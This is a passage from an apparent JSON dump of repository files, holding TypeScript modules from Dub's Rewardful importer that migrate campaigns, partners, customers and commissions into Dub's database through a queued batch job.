RewardfulApi({ token });\n\n  const campaigns = await rewardfulApi.listCampaigns();\n  const campaignsToImport = campaigns.filter((campaign) =>\n    campaignIds.includes(campaign.id),\n  );\n\n  for (const campaign of campaignsToImport) {\n    const {\n      id: campaignId,\n      commission_amount_cents,\n      minimum_payout_cents,\n      commission_percent,\n      max_commission_period_months,\n      days_until_commissions_are_due,\n      reward_type,\n    } = campaign;\n\n    const groupSlug = `rewardful-${campaignId}`;\n    const createdGroup = await prisma.partnerGroup.upsert({\n      where: {\n        programId_slug: {\n          programId,\n          slug: groupSlug,\n        },\n      },\n      create: {\n        id: createId({ prefix: \"grp_\" }),\n        programId,\n        name: `(Rewardful) ${campaign.name}`,\n        slug: groupSlug,\n        color: randomValue(RESOURCE_COLORS),\n        // Use default group settings for new groups\n        logo,\n        wordmark,\n        brandColor,\n        holdingPeriodDays,\n        autoApprovePartnersEnabledAt,\n        ...(additionalLinks && { additionalLinks }),\n        ...(maxPartnerLinks && { maxPartnerLinks }),\n        ...(linkStructure && { linkStructure }),\n        ...(applicationFormData && { applicationFormData }),\n        ...(landerData && { landerData }),\n        // Create default link for the group\n        partnerGroupDefaultLinks: {\n          create: {\n            id: createId({ prefix: \"pgdl_\" }),\n            programId,\n            domain: program.domain,\n            url: program.url,\n          },\n        },\n      },\n      update: {},\n    });\n\n    console.log(\n      `Upserted group ${createdGroup.name} (${createdGroup.id}) matching Rewardful campaign ${campaign.name} (${campaignId}).`,\n    );\n\n    const createdSecondsAgo = differenceInSeconds(\n      new Date(),\n      createdGroup.createdAt,\n    );\n\n    console.log(\n      `This group was created ${createdSecondsAgo} seconds ago (most likely ${createdSecondsAgo < 10 ? \"created\" : \"upserted\"})`,\n    );\n\n    if (!createdGroup.saleRewardId) {\n      const createdReward = await prisma.reward.create({\n        data: {\n          id: createId({ prefix: \"rw_\" }),\n          programId,\n          // connect the reward to the group\n          salePartnerGroup: {\n            connect: {\n              id: createdGroup.id,\n            },\n          },\n          event: EventType.sale,\n          maxDuration: max_commission_period_months,\n          type:\n            reward_type === \"amount\"\n              ? RewardStructure.flat\n              : RewardStructure.percentage,\n          ...(reward_type === \"amount\"\n            ? {\n                amountInCents: commission_amount_cents,\n              }\n            : {\n                amountInPercentage: new Prisma.Decimal(commission_percent),\n              }),\n        },\n      });\n\n      console.log(\n        `Created sale reward ${createdReward.id} with amount ${getRewardAmount(serializeReward(createdReward))} and type ${createdReward.type}`,\n      );\n    }\n\n    // Note: Interestingly, Rewardful's API can sometimes return `stripe_coupon_id: null`\n    // even when the campaign has a valid Stripe coupon. In these cases we'd need to manually recreate the discount on Dub.\n    if (!createdGroup.discountId && campaign.stripe_coupon_id) {\n      let dubDiscountAttrs: DubDiscountAttributes | undefined;\n\n      if (program.workspace.stripeConnectId) {\n        try {\n          const stripeCoupon = await stripe.coupons.retrieve(\n            campaign.stripe_coupon_id,\n            {\n              stripeAccount: program.workspace.stripeConnectId,\n            },\n          );\n\n          // Validate the Stripe coupon can be converted to a Dub discount\n          const validation = validateStripeCouponForDubDiscount(stripeCoupon);\n          if (validation.isValid) {\n            // Convert Stripe coupon to Dub discount attributes\n            dubDiscountAttrs = stripeCouponToDubDiscount(stripeCoupon);\n          } else {\n            console.error(\n              `Invalid Stripe coupon ${campaign.stripe_coupon_id}: ${validation.errors.join(\", \")}`,\n            );\n          }\n        } catch (error) {\n          console.error(\n            `Error retrieving Stripe coupon ${campaign.stripe_coupon_id}: ${error}`,\n          );\n        }\n      }\n\n      const createdDiscount = await prisma.discount.create({\n        data: {\n          id: createId({ prefix: \"disc_\" }),\n          programId,\n          amount: dubDiscountAttrs?.amount ?? 0,\n          type: dubDiscountAttrs?.type ?? \"percentage\",\n          maxDuration: dubDiscountAttrs?.maxDuration ?? null,\n          couponId: campaign.stripe_coupon_id,\n          // connect the discount to the group\n          partnerGroup: {\n            connect: {\n              id: createdGroup.id,\n            },\n          },\n        },\n      });\n\n      console.log(\n        `Created discount ${createdDiscount.id} (${createdDiscount.couponId}) with amount ${createdDiscount.amount} and type ${createdDiscount.type}`,\n      );\n    }\n\n    if (campaign.default) {\n      await prisma.program.update({\n        where: {\n          id: programId,\n        },\n        data: {\n          minPayoutAmount: minimum_payout_cents,\n        },\n      });\n      console.log(\n        `Updated program ${programId} with min payout amount ${minimum_payout_cents} and holding period days ${days_until_commissions_are_due}`,\n      );\n    }\n  }\n\n  return await rewardfulImporter.queue({\n    ...payload,\n    action: \"import-partners\",\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/rewardful/import-commissions.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport ProgramImported from \"@dub/email/templates/program-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, Customer, Link, Program } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { convertCurrencyWithFxRates } from \"../analytics/convert-currency\";\nimport { isFirstConversion } from \"../analytics/is-first-conversion\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { syncTotalCommissions } from \"../api/partners/sync-total-commissions\";\nimport { getLeadEvents } from \"../tinybird/get-lead-events\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { recordSaleWithTimestamp } from \"../tinybird/record-sale\";\nimport { LeadEventTB } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { RewardfulApi } from \"./api\";\nimport { MAX_BATCHES, rewardfulImporter } from \"./importer\";\nimport { RewardfulCommission, RewardfulImportPayload } from \"./types\";\n\nconst toDubStatus: Record<RewardfulCommission[\"state\"], CommissionStatus> = {\n  pending: \"pending\",\n  due: \"pending\",\n  paid: \"paid\",\n  voided: \"canceled\",\n};\n\nexport async function importCommissions(payload: RewardfulImportPayload) {\n  const { importId, programId, userId, campaignIds, page = 1 } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n  });\n\n  const { token } = await rewardfulImporter.getCredentials(program.workspaceId);\n\n  const rewardfulApi = new RewardfulApi({ token });\n\n  const fxRates = await redis.hgetall<Record<string, string>>(\"fxRates:usd\");\n\n  let currentPage = page;\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const commissions = await rewardfulApi.listCommissions({\n      page: currentPage,\n    });\n\n    if (commissions.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const customersData = await prisma.customer.findMany({\n      where: {\n        stripeCustomerId: {\n          in: commissions\n            .map((commission) => commission.sale.referral.stripe_customer_id)\n            .filter(Boolean),\n        },\n      },\n      include: {\n        link: true,\n      },\n    });\n\n    const customerLeadEvents = await getLeadEvents({\n      customerIds: customersData.map((customer) => customer.id),\n    }).then((res) => res.data);\n\n    await Promise.all(\n      commissions.map((commission) =>\n        createCommission({\n          commission,\n          program,\n          campaignIds,\n          fxRates,\n          importId,\n          customersData,\n          customerLeadEvents,\n        }),\n      ),\n    );\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  if (hasMore) {\n    await rewardfulImporter.queue({\n      ...payload,\n      action: \"import-commissions\",\n      page: currentPage,\n    });\n\n    return;\n  }\n\n  // Imports finished\n  await rewardfulImporter.deleteCredentials(program.workspaceId);\n\n  const workspaceUser = await prisma.projectUsers.findUniqueOrThrow({\n    where: {\n      userId_projectId: {\n        userId,\n        projectId: program.workspaceId,\n      },\n    },\n    include: {\n      project: true,\n      user: true,\n    },\n  });\n\n  if (workspaceUser && workspaceUser.user.email) {\n    await sendEmail({\n      to: workspaceUser.user.email,\n      subject: \"Rewardful campaign imported\",\n      react: ProgramImported({\n        email: workspaceUser.user.email,\n        workspace: workspaceUser.project,\n        program,\n        provider: \"Rewardful\",\n        importId,\n      }),\n    });\n  }\n}\n\n// Backfill historical commissions\nasync function createCommission({\n  commission,\n  program,\n  campaignIds,\n  fxRates,\n  importId,\n  customersData,\n  customerLeadEvents,\n}: {\n  commission: RewardfulCommission;\n  program: Program;\n  campaignIds: string[];\n  fxRates: Record<string, string> | null;\n  importId: string;\n  customersData: (Customer & { link: Link | null })[];\n  customerLeadEvents: LeadEventTB[];\n}) {\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"rewardful\",\n    entity: \"commission\",\n    entity_id: commission.id,\n  } as const;\n\n  const campaignId = commission.sale.affiliate.campaign?.id;\n\n  if (campaignId && !campaignIds.includes(campaignId)) {\n    console.log(\n      `Affiliate ${commission?.sale?.affiliate?.email} for commission ${commission.id}) not in campaignIds (${campaignIds.join(\", \")}) (they're in ${commission.campaign.id}). Skipping...`,\n    );\n\n    return;\n  }\n\n  const { sale } = commission;\n\n  if (\n    !sale.referral.stripe_customer_id ||\n    !sale.referral.stripe_customer_id.startsWith(\"cus_\")\n  ) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n      message: `No Stripe customer ID provided for referral ${sale.referral.id}`,\n    });\n\n    return;\n  }\n\n  const commissionFound = await prisma.commission.findUnique({\n    where: {\n      invoiceId_programId: {\n        invoiceId: sale.id,\n        programId: program.id,\n      },\n    },\n  });\n\n  if (commissionFound) {\n    console.log(`Commission ${commission.id} already exists, skipping...`);\n    return;\n  }\n\n  // Sale amount\n  let amount = sale.sale_amount_cents;\n  const saleCurrency = sale.currency.toUpperCase();\n\n  if (saleCurrency !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: saleCurrency,\n      amount,\n      fxRates,\n    });\n\n    amount = convertedAmount;\n  }\n\n  // Earnings\n  let earnings = commission.amount;\n  const earningsCurrency = commission.currency.toUpperCase();\n\n  if (earningsCurrency !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: earningsCurrency,\n      amount: earnings,\n      fxRates,\n    });\n\n    earnings = convertedAmount;\n  }\n\n  // here, we also check for commissions that have already been recorded on Dub\n  // e.g. during the transition period\n  // since we don't have the Stripe invoiceId from Rewardful, we use the referral's Stripe customer ID\n  // and check for commissions that were created with the same amount and within a +-1 hour window\n  const chargedAt = new Date(sale.charged_at);\n  const trackedCommission = await prisma.commission.findFirst({\n    where: {\n      programId: program.id,\n      createdAt: {\n        gte: new Date(chargedAt.getTime() - 60 * 60 * 1000), // 1 hour before\n        lte: new Date(chargedAt.getTime() + 60 * 60 * 1000), // 1 hour after\n      },\n      customer: {\n        stripeCustomerId: sale.referral.stripe_customer_id,\n      },\n      type: \"sale\",\n      amount: amount,\n    },\n  });\n\n  if (trackedCommission) {\n    console.log(\n      `Commission ${commission.id} with sale amount ${amount} was already recorded on Dub. Skipping...`,\n    );\n\n    return;\n  }\n\n  const customerFound = customersData.find(\n    (customer) =>\n      customer.stripeCustomerId === sale.referral.stripe_customer_id,\n  );\n\n  if (!customerFound) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_NOT_FOUND\",\n      message: `No customer found for Stripe customer ID ${sale.referral.stripe_customer_id}.`,\n    });\n\n    return;\n  }\n\n  if (!customerFound.linkId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `No link found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customerFound.clickId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CLICK_NOT_FOUND\",\n      message: `No click ID found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customerFound.link?.partnerId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"PARTNER_NOT_FOUND\",\n      message: `No partner ID found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  const leadEvent = customerLeadEvents.find(\n    (event) => event.customer_id === customerFound.id,\n  );\n\n  if (!leadEvent) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LEAD_NOT_FOUND\",\n      message: `No lead event found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  const clickData = clickEventSchemaTB\n    .omit({ timestamp: true })\n    .parse(leadEvent);\n\n  const eventId = nanoid(16);\n\n  await Promise.all([\n    prisma.commission.create({\n      data: {\n        id: createId({ prefix: \"cm_\" }),\n        eventId,\n        type: \"sale\",\n        programId: program.id,\n        partnerId: customerFound.link.partnerId,\n        linkId: customerFound.linkId,\n        customerId: customerFound.id,\n        amount,\n        earnings,\n        // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n        currency: \"usd\",\n        quantity: 1,\n        status: toDubStatus[commission.state],\n        invoiceId: sale.id, // this is not the actual invoice ID, but we use this to deduplicate the sales\n        createdAt: new Date(sale.created_at),\n      },\n    }),\n\n    recordSaleWithTimestamp({\n      ...clickData,\n      event_id: eventId,\n      event_name: \"Invoice paid\",\n      amount,\n      customer_id: customerFound.id,\n      payment_processor: \"stripe\",\n      // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n      currency: \"usd\",\n      metadata: JSON.stringify(commission),\n      timestamp: new Date(sale.created_at).toISOString(),\n    }),\n\n    // update link stats\n    prisma.link.update({\n      where: { id: customerFound.linkId },\n      data: {\n        ...(isFirstConversion({\n          customer: customerFound,\n          linkId: customerFound.linkId,\n        }) && {\n          conversions: {\n            increment: 1,\n          },\n          lastConversionAt: updateLinkStatsForImporter({\n            currentTimestamp: customerFound.link.lastConversionAt,\n            newTimestamp: new Date(commission.created_at),\n          }),\n        }),\n        sales: { increment: 1 },\n        saleAmount: { increment: amount },\n      },\n    }),\n\n    syncPartnerLinksStats({\n      partnerId: customerFound.link.partnerId,\n      programId: program.id,\n      eventType: \"sale\",\n    }),\n\n    // update customer stats\n    prisma.customer.update({\n      where: { id: customerFound.id },\n      data: {\n        sales: { increment: 1 },\n        saleAmount: { increment: amount },\n        firstSaleAt: customerFound.firstSaleAt ? undefined : new Date(),\n      },\n    }),\n  ]);\n\n  await syncTotalCommissions({\n    partnerId: customerFound.link.partnerId,\n    programId: program.id,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/rewardful/import-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Customer, Program, Project } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { recordClick } from \"../tinybird/record-click\";\nimport { recordLeadWithTimestamp } from \"../tinybird/record-lead\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { RewardfulApi } from \"./api\";\nimport { MAX_BATCHES, rewardfulImporter } from \"./importer\";\nimport { RewardfulImportPayload, RewardfulReferral } from \"./types\";\n\nexport async function importCustomers(payload: RewardfulImportPayload) {\n  const { importId, programId, campaignIds, page = 1 } = payload;\n\n  const { workspace, ...program } = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      workspace: true,\n    },\n  });\n\n  const { token } = await rewardfulImporter.getCredentials(workspace.id);\n\n  const rewardfulApi = new RewardfulApi({ token });\n\n  let currentPage = page;\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const referrals = await rewardfulApi.listCustomers({\n      page: currentPage,\n    });\n\n    if (referrals.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const stripeCustomerIds = referrals\n      .filter(\n        (r) => r.stripe_customer_id && r.stripe_customer_id.startsWith(\"cus_\"),\n      )\n      .map((r) => r.stripe_customer_id!);\n    const externalIds = referrals.map((r) => r.customer.id);\n\n    const existingCustomers = await prisma.customer.findMany({\n      where: {\n        OR: [\n          { stripeCustomerId: { in: stripeCustomerIds } },\n          {\n            projectId: workspace.id,\n            externalId: { in: externalIds },\n          },\n        ],\n      },\n    });\n\n    await Promise.allSettled(\n      referrals.map((referral) =>\n        createCustomer({\n          referral,\n          workspace,\n          program,\n          campaignIds,\n          importId,\n          existingCustomers,\n        }),\n      ),\n    );\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  await rewardfulImporter.queue({\n    ...payload,\n    page: hasMore ? currentPage : undefined,\n    action: hasMore ? \"import-customers\" : \"import-commissions\",\n  });\n}\n\n// Create individual referral entries\nasync function createCustomer({\n  referral,\n  workspace,\n  program,\n  campaignIds,\n  importId,\n  existingCustomers,\n}: {\n  referral: RewardfulReferral;\n  workspace: Project;\n  program: Program;\n  campaignIds: string[];\n  importId: string;\n  existingCustomers: Customer[];\n}) {\n  const referralId = referral.customer ? referral.customer.email : referral.id;\n  if (\n    referral.affiliate?.campaign?.id &&\n    !campaignIds.includes(referral.affiliate.campaign.id)\n  ) {\n    console.log(\n      `Referral ${referralId} not in campaignIds (${campaignIds.join(\", \")}) (they're in ${referral.affiliate.campaign.id}). Skipping...`,\n    );\n\n    return;\n  }\n\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"rewardful\",\n    entity: \"customer\",\n    entity_id: referralId,\n  } as const;\n\n  if (!referral.link && !referral.coupon) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `Link or coupon not found for referral ${referralId}.`,\n    });\n\n    return;\n  }\n\n  const shortLinkToken = referral.link?.token || referral.coupon?.token;\n\n  if (!shortLinkToken) {\n    console.error(`Short link token not found for referral ${referralId}.`);\n    return;\n  }\n\n  // here we're using findFirst because for some reason findUnique uses a weird collation\n  // that causes a bunch of LINK_NOT_FOUND errors (for links/coupons that actually exist)\n  const link = await prisma.link.findFirst({\n    where: {\n      domain: program.domain!,\n      key: shortLinkToken,\n    },\n  });\n\n  if (!link) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `Link not found for referral ${referralId} (token: ${shortLinkToken}).`,\n    });\n\n    return;\n  }\n\n  if (\n    !referral.stripe_customer_id ||\n    !referral.stripe_customer_id.startsWith(\"cus_\")\n  ) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n      message: `No Stripe customer ID provided for referral ${referralId}.`,\n    });\n\n    return;\n  }\n\n  const customerFoundStripeId = existingCustomers.find(\n    (c) => c.stripeCustomerId === referral.stripe_customer_id,\n  );\n\n  if (customerFoundStripeId) {\n    console.log(\n      `A customer already exists with Stripe customer ID ${referral.stripe_customer_id}`,\n    );\n    return;\n  }\n\n  const customerFoundExternalId = existingCustomers.find(\n    (c) => c.externalId === referral.customer.id,\n  );\n\n  if (customerFoundExternalId) {\n    console.log(\n      `A customer already exists with external ID ${referral.customer.id}`,\n    );\n    return;\n  }\n\n  const dummyRequest = new Request(link.url, {\n    headers: new Headers({\n      \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n      \"x-forwarded-for\": \"127.0.0.1\",\n      \"x-vercel-ip-country\": \"US\",\n      \"x-vercel-ip-country-region\": \"CA\",\n      \"x-vercel-ip-continent\": \"NA\",\n    }),\n  });\n\n  const clickData = await recordClick({\n    req: dummyRequest,\n    clickId: nanoid(16),\n    workspaceId: workspace.id,\n    linkId: link.id,\n    domain: link.domain,\n    key: link.key,\n    url: link.url,\n    skipRatelimit: true,\n    timestamp: new Date(referral.created_at).toISOString(),\n  });\n\n  const clickEvent = clickEventSchemaTB.parse({\n    ...clickData,\n    bot: 0,\n    qr: 0,\n  });\n\n  const customerId = createId({ prefix: \"cus_\" });\n\n  const customer = await prisma.customer.create({\n    data: {\n      id: customerId,\n      name:\n        // if name is null/undefined or starts with cus_, use email as name\n        !referral.customer.name || referral.customer.name.startsWith(\"cus_\")\n          ? referral.customer.email\n          : referral.customer.name,\n      email: referral.customer.email,\n      projectId: workspace.id,\n      projectConnectId: workspace.stripeConnectId,\n      clickId: clickEvent.click_id,\n      linkId: link.id,\n      programId: link.programId,\n      partnerId: link.partnerId,\n      country: clickEvent.country,\n      clickedAt: new Date(referral.created_at),\n      createdAt: new Date(referral.became_lead_at),\n      externalId: referral.customer.id,\n      stripeCustomerId: referral.stripe_customer_id,\n    },\n  });\n\n  console.log(\n    `Created customer ${customer.email} for referral ${link.shortLink}`,\n  );\n\n  await Promise.allSettled([\n    recordLeadWithTimestamp({\n      ...clickEvent,\n      event_id: nanoid(16),\n      event_name: \"Sign up\",\n      customer_id: customerId,\n      timestamp: new Date(referral.became_lead_at).toISOString(),\n    }),\n\n    prisma.link.update({\n      where: { id: link.id },\n      data: {\n        leads: { increment: 1 },\n        lastLeadAt: updateLinkStatsForImporter({\n          currentTimestamp: link.lastLeadAt,\n          newTimestamp: new Date(referral.became_lead_at),\n        }),\n      },\n    }),\n    // partner links should always have a partnerId and programId, but we're doing this to make TS happy\n    ...(link.partnerId && link.programId\n      ? [\n          syncPartnerLinksStats({\n            partnerId: link.partnerId,\n            programId: link.programId,\n            eventType: \"lead\",\n          }),\n        ]\n      : []),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/lib/rewardful/import-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Program } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { bulkCreateLinks } from \"../api/links\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { redis } from \"../upstash\";\nimport { RewardfulApi } from \"./api\";\nimport { MAX_BATCHES, rewardfulImporter } from \"./importer\";\nimport { RewardfulAffiliate, RewardfulImportPayload } from \"./types\";\n\nexport async function importPartners(payload: RewardfulImportPayload) {\n  const { importId, programId, campaignIds, userId, page = 1 } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      groups: {\n        include: {\n          partnerGroupDefaultLinks: true,\n        },\n      },\n    },\n  });\n\n  const campaignIdToGroupMap = Object.fromEntries(\n    program.groups.map((group) => [\n      group.slug.replace(\"rewardful-\", \"\"),\n      group.id,\n    ]),\n  );\n\n  const { token } = await rewardfulImporter.getCredentials(program.workspaceId);\n\n  const rewardfulApi = new RewardfulApi({ token });\n\n  let currentPage = page;\n  let hasMore = true;\n  let processedBatches = 0;\n\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"rewardful\",\n    entity: \"partner\",\n  } as const;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const affiliates = await rewardfulApi.listPartners({\n      page: currentPage,\n    });\n\n    if (affiliates.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const activeAffiliates: typeof affiliates = [];\n    const notImportedAffiliates: typeof affiliates = [];\n\n    for (const affiliate of affiliates) {\n      if (\n        affiliate.state === \"active\" &&\n        affiliate.leads > 0 &&\n        campaignIds.includes(affiliate.campaign.id)\n      ) {\n        activeAffiliates.push(affiliate);\n      } else {\n        notImportedAffiliates.push(affiliate);\n      }\n    }\n\n    if (activeAffiliates.length > 0) {\n      const partners = await Promise.all(\n        activeAffiliates.map((affiliate) => {\n          const groupId = campaignIdToGroupMap[affiliate.campaign.id];\n          const group = program.groups.find((group) => group.id === groupId);\n\n          if (!group) {\n            console.error(\n              `Group not found for campaign ${affiliate.campaign.id}`,\n              groupId,\n            );\n            return;\n          }\n\n          return createPartnerAndLinks({\n            program,\n            affiliate,\n            userId,\n            defaultGroupAttributes: {\n              groupId: group.id,\n              saleRewardId: group.saleRewardId,\n              leadRewardId: group.leadRewardId,\n              clickRewardId: group.clickRewardId,\n              discountId: group.discountId,\n            },\n            partnerGroupDefaultLinkId:\n              group.partnerGroupDefaultLinks.length > 0\n                ? group.partnerGroupDefaultLinks[0].id\n                : null,\n          });\n        }),\n      );\n\n      const filteredPartners = partners.filter(\n        (p): p is NonNullable<typeof p> => p !== undefined,\n      );\n\n      if (filteredPartners.length > 0) {\n        await redis.hset(\n          `rewardful:affiliates:${program.id}`,\n          Object.fromEntries(\n            filteredPartners.map((p) => [\n              p.rewardfulAffiliateId,\n              {\n                partnerId: p.dubPartnerId,\n                groupId: p.dubPartnerGroupId,\n                discountId: p.dubDiscountId,\n              },\n            ]),\n          ),\n        );\n      }\n    }\n\n    if (notImportedAffiliates.length > 0) {\n      await logImportError(\n        notImportedAffiliates.map((affiliate) => ({\n          ...commonImportLogInputs,\n          entity_id: affiliate.id,\n          code: \"INACTIVE_PARTNER\",\n          message: `Partner ${affiliate.email} not imported because it is not active or has no leads or is not in selected campaignIds (${campaignIds.join(\", \")}).`,\n        })),\n      );\n    }\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  const action = hasMore ? \"import-partners\" : \"import-affiliate-coupons\";\n\n  await rewardfulImporter.queue({\n    ...payload,\n    action,\n    page: hasMore ? currentPage : undefined,\n  });\n}\n\n// Create partner and their links\nasync function createPartnerAndLinks({\n  program,\n  affiliate,\n  userId,\n  defaultGroupAttributes,\n  partnerGroupDefaultLinkId,\n}: {\n  program: Program;\n  affiliate: RewardfulAffiliate;\n  userId: string;\n  defaultGroupAttributes: {\n    groupId: string;\n    saleRewardId: string | null;\n    leadRewardId: string | null;\n    clickRewardId: string | null;\n    discountId: string | null;\n  };\n  partnerGroupDefaultLinkId?: string | null;\n}) {\n  const partner = await prisma.partner.upsert({\n    where: {\n      email: affiliate.email,\n    },\n    create: {\n      id: createId({ prefix: \"pn_\" }),\n      name: `${affiliate.first_name}${affiliate.last_name && affiliate.last_name !== \"Unknown\" ? ` ${affiliate.last_name}` : \"\"}`,\n      email: affiliate.email,\n    },\n    update: {},\n  });\n\n  const programEnrollment = await prisma.programEnrollment.upsert({\n    where: {\n      partnerId_programId: {\n        partnerId: partner.id,\n        programId: program.id,\n      },\n    },\n    create: {\n      id: createId({ prefix: \"pge_\" }),\n      programId: program.id,\n      partnerId: partner.id,\n      status: \"approved\",\n      ...defaultGroupAttributes,\n    },\n    update: {\n      status: \"approved\",\n    },\n    include: {\n      links: true,\n    },\n  });\n\n  if (!program.domain || !program.url) {\n    console.error(\"Program domain or url not found\", program.id);\n    return;\n  }\n\n  if (programEnrollment.links.length === 0) {\n    await bulkCreateLinks({\n      links: affiliate.links.map((link, idx) => ({\n        domain: program.domain!,\n        key: link.token || nanoid(),\n        url: program.url!,\n        trackConversion: true,\n        programId: program.id,\n        partnerId: partner.id,\n        folderId: program.defaultFolderId,\n        userId,\n        projectId: program.workspaceId,\n        partnerGroupDefaultLinkId: idx === 0 ? partnerGroupDefaultLinkId : null,\n      })),\n    });\n  }\n\n  console.log(\n    `Imported partner ${partner.email} and created ${affiliate.links.length} partner links`,\n  );\n\n  return {\n    rewardfulAffiliateId: affiliate.id,\n    dubPartnerId: partner.id,\n    dubPartnerGroupId: programEnrollment.groupId,\n    dubDiscountId: programEnrollment.discountId,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/rewardful/importer.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { redis } from \"@/lib/upstash\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { RewardfulCredentials, RewardfulImportPayload } from \"./types\";\n\n// Rewardful rate limit is 45 requests per 30 seconds\n// so we should be able to safely request up to 10 batches at a time\nexport const MAX_BATCHES = 10;\n\n// cache rewardful credentials for 24 hours\nexport const CACHE_EXPIRY = 60 * 60 * 24;\nexport const CACHE_KEY_PREFIX = \"rewardful:import\";\n\nclass RewardfulImporter {\n  async setCredentials(workspaceId: string, payload: RewardfulCredentials) {\n    await redis.set(`${CACHE_KEY_PREFIX}:${workspaceId}`, payload, {\n      ex: CACHE_EXPIRY,\n    });\n  }\n\n  async getCredentials(workspaceId: string): Promise<RewardfulCredentials> {\n    const config = await redis.get<RewardfulCredentials>(\n      `${CACHE_KEY_PREFIX}:${workspaceId}`,\n    );\n\n    if (!config) {\n      throw new Error(\"Rewardful configuration not found.\");\n    }\n\n    return config;\n  }\n\n  async deleteCredentials(workspaceId: string) {\n    return await redis.del(`${CACHE_KEY_PREFIX}:${workspaceId}`);\n  }\n\n  async queue(body: RewardfulImportPayload) {\n    return await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/rewardful`,\n      body,\n      contentBasedDeduplication: true,\n    });\n  }\n}\n\nexport const rewardfulImporter = new RewardfulImporter();\n"
  },
  {
    "path": "apps/web/lib/rewardful/schemas.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const rewardfulImportSteps = z.enum([\n  \"import-campaigns\",\n  \"import-partners\",\n  \"import-affiliate-coupons\",\n  \"import-customers\",\n  \"import-commissions\",\n]);\n\nexport const rewardfulImportPayloadSchema = z.object({\n  importId: z.string(),\n  userId: z.string(),\n  programId: z.string(),\n  campaignIds: z.array(z.string()),\n  action: rewardfulImportSteps,\n  page: z.number().optional(),\n});\n"
  },
  {
    "path": "apps/web/lib/rewardful/types.ts",
